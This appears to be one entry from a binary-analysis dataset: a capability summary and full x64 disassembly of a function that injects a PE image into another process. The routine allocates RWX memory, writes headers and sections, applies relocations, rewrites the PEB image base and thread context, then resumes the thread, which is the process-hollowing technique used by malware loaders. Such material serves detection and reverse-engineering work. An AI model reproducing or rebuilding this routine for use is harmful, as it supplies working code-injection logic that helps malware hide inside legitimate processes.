Function at 0x140021980
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x530
mov rax, qword [0x1400a5100]
xor rax, rsp
mov qword [rsp + 0x528], rax
movsxd r13, dword [rdx + 0x3c]
mov r14, rdx
add r13, rdx
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x48], r13
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0x3000
mov r8d, dword [r13 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x38], rax
mov r15, rax
test rax, rax
je 0x140021c31
sub rax, qword [r13 + 0x30]
mov r8, r14
mov r9d, dword [r13 + 0x54]
mov rdx, r15
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [r13 + 0x30], r15
mov rcx, qword [r12]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140021c31
movsxd rbx, dword [r14 + 0x3c]
xor r11d, r11d
cmp dword [rbx + r14 + 0xb0], r11d
je 0x140021a34
mov rbx, qword [rbx + r14 + 0xb0]
jmp 0x140021a37
mov rbx, r11
mov rbp, r11
mov qword [rsp + 0x30], rbx
mov esi, r11d
cmp r11w, word [r13 + 6]
jae 0x140021c31
mov rdi, r11
movzx edx, word [r13 + 0x14]
add rdx, 0x18
add rdx, rdi
add rdx, r13
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x140021a74
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp ebx, ecx
cmovb rbp, rdx
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
add r8, r14
mov rcx, qword [r12]
lea rdx, [r15 + r10]
mov qword [rsp + 0x20], r11
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140021c31
movzx eax, word [r13 + 6]
inc esi
add rdi, 0x28
mov r11d, 0
cmp esi, eax
jl 0x140021a50
test rbp, rbp
je 0x140021c31
xor edx, edx
mov ebx, edx
cmp dword [rsp + 0x34], edx
jbe 0x140021ba0
mov r8d, 0x1000
mov r13, r15
nop
mov eax, dword [rbp + 0x14]
add rax, r14
mov r15d, ebx
add r15, rax
add ebx, 8
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140021b8c
mov esi, eax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0x14]
add rax, r14
mov ecx, ebx
add ebx, 2
movzx eax, word [rcx + rax]
cmp ax, r8w
jb 0x140021b82
mov edi, dword [r15]
lea r8, [rsp + 0x520]
mov rcx, qword [r12]
and eax, 0xfff
add rax, r13
mov qword [rsp + 0x520], rdx
add rdi, rax
mov qword [rsp + 0x20], rdx
mov rdx, rdi
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x40]
lea r8, [rsp + 0x520]
add qword [rsp + 0x520], rax
mov r9d, 8
mov rcx, qword [r12]
xor eax, eax
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
mov r8d, 0x1000
sub rsi, 1
jne 0x140021b00
cmp ebx, dword [rsp + 0x34]
jb 0x140021ad0
mov r13, qword [rsp + 0x48]
mov r15, qword [rsp + 0x38]
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x4d0
call fcn.14007aed0
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x80], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140021c31
mov rdx, qword [rsp + 0xd8]
lea r8, [r13 + 0x30]
mov rcx, qword [r12]
xor eax, eax
add rdx, 0x10
mov qword [rsp + 0x20], rax
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140021c31
mov eax, dword [r13 + 0x28]
lea rdx, [rsp + 0x50]
mov rcx, qword [r12 + 8]
add rax, r15
mov qword [rsp + 0xd0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140021c31
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140021c33
xor eax, eax
mov rcx, qword [rsp + 0x528]
xor rcx, rsp
call fcn.140052020
mov rbx, qword [rsp + 0x580]
add rsp, 0x530
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret